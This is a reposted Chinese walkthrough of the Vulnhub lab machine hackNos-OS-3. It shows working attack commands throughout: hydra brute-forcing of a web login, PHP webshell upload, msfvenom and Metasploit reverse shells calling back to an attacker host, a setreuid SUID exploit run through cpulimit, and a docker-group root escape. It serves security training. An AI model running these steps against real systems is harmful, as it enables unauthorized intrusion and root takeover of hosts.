栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

Vulnhub靶机:HACKNOS

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Vulnhub靶机:HACKNOS

目录

介绍信息收集

主机发现主机信息探测 网站探测

目录扫描访问子目录爆破登录站点登录网站 Getshell

方法1:命令执行-失败方法2:msf-失败方法3:冰蝎 第一个Flag提权获取flag2

查找 suid 文件-cpulimit提权通过dock提权 参考

介绍

系列: hackNos
发布日期: 2019年12月14日
难度: 中级
Flag : 一个普通用户的,一个根用户的
学习:漏洞利用、web攻击、枚举、权限提升
靶机地址:https://www.vulnhub.com/entry/hacknos-os-hacknos-3,410/

信息收集 主机发现

netdiscover主机发现
对于VulnHub靶机来说,出现“PCS Systemtechnik GmbH”就是靶机。

sudo netdiscover -i eth1 -r 192.168.124.0/24

主机信息探测

信息探测:nmap -A -p- 192.168.124.26,只开放了22和80端口

网站探测

访问80端口,收到一个提示,暂时不知道“WebSec”是什么。

目录扫描

发现三个子目录,其中存在网站首页提示过的“WebSec”

gobuster dir -u http://192.168.124.26 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

访问子目录
    /scripts

    /devil

    /websec

页面上的内容点击到最后,显示的最终结果是一个Email地址

对其子目录再进行扫描

 gobuster dir -u http://192.168.124.26/websec -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

分别访问这两个地址,显示的效果一样。接下来暂时也没发现别的啥,考虑爆破网站试试。

爆破登录站点

首先使用cewl获取字典。下面两种命令都行。

cewl http://192.168.124.26/websec/websec -d 2 -w wordlist.txt
cewl http://192.168.124.26/websec/websec > cewl.txt

然后就可以爆破了
Email地址应该就是contact@hacknos.com,使用BurpSuite爆破较为简单,这里介绍一下使用hydra爆破。

    首先获取失败时返回的内容,得到“Wrong email”

不需要完全复制,复制部分错误内容即可。为防止复制格式错误,还是去源代码中去复制好一些。

    得出规则
hydra -l contact@hacknos.com -P cewl.txt 192.168.124.26 http-post-form "/websec/admin:username=^USER^&password=^PASS^:Wrong email"

得知是http-post-form

得知用户名和密码的参数username、password

如果爆破出现错误,只要命令不错,不用管,重试一下。我第一次爆破没结果,重来一下出结果了。
得到账户:contact@hacknos.com,密码:Securityx

登录网站

在“Content-File Manager”中找到可以上传文件的地方,可以试试getshell

Getshell

后来查了一下,网上别人的文章是使用方法1、方法2都可以成功,我后来试着删除或者清空过“.htaccess”,都失败,也试过访问别的文件夹(如下图的主题文件夹),都是失败的,原因未知。最后是使用冰蝎连接成功了。

方法1:命令执行-失败
    打开tmp文件夹,上传一个php文件

    访问文件,被拒绝:http://192.168.124.26/websec/tmp/cmd.php

看了眼“.htaccess”,把这个文件删掉,再刷新 http://192.168.124.26/websec/tmp/cmd.php ,不报错了

执行个命令试试,有点意外,失败了,如果成功的话就直接反弹shell了

方法2:msf-失败

虽然方法1反弹shell失败了,还是有别的办法

    生成反弹shell的php文件
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.124.22 LPORT=4444 -f raw > shell.php
    上传文件

    运行kali失败!
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.124.22
set lport 4444
exploit

方法3:冰蝎

由于冰蝎不能调节字体大小,截图体验不好,因此把shell传递给MSF

    msf准备
use exploit/multi/handler
set lhost  192.168.124.22
set lport  4444
set AutoRunscript migrate -f		# 自动迁移进程
exploit
    冰蝎准备

    拿到session


第一个Flag
    获取交互式shell:python3 -c 'import pty; pty.spawn("/bin/bash")'获知有家目录的用户:tail /etc/passwd

    获取Flag

提权获取flag2 查找 suid 文件-cpulimit提权

看到了cpulimit,可以试试cpulimit提权

find /usr/bin -type f -perm -u=s 2>/dev/null

获取一个新的终端,但是权限仍然不高,需要提权

    准备提权文件: suid.c
#include 
#include 
#include 
int main(int argc,char *argv[])
{
setreuid(0,0);
execve("/bin/bash",NULL,NULL);
}

试着运行一下,没问题,可以提权。接下来就是把这玩意放到靶机上。可以通过base64编码文件,复制其内容,然后粘贴到靶机上再base64解码,我这里不费那个力气,直接使用冰蝎了。

 vim  suid.c
 gcc suid.c -o exp
 ./exp

    通过冰蝎把exp上传到靶机赋予exp可执行权限

    运行exp

直接运行没用,需要借助cpulimit:cpulimit -l 100 -f ./exp

获取flag

通过dock提权

假设现在是普通用户,发现存在docker组,但是没有发现镜像文件。

    下载镜像,自动下载 alpine 文件:docker run -v /:/mnt --rm -it alpine chroot /mnt sh赋予终端:bash

    退出,查看当前 images:docker images挂载镜像到mbt目录:docker run -it -v /:/mbt c059bfaa849c


参考

OS-hackNos-3 Walkthrough Vulnhub CTF

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/705560.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号